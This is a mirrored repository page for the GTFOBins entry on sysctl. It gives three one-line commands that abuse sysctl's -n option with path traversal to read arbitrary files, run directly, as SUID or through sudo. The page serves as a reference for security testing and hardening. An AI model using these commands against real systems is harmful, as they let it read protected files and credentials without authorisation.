1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 00:06:03 +02:00
GTFOBins.github.io/_gtfobins/sysctl.md
2020-06-11 18:25:45 +02:00

461 B

description functions
The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
file-read suid sudo
code
LFILE=file_to_read /usr/sbin/sysctl -n "/../../$LFILE"
code
LFILE=file_to_read ./sysctl -n "/../../$LFILE"
code
LFILE=file_to_read sudo sysctl -n "/../../$LFILE"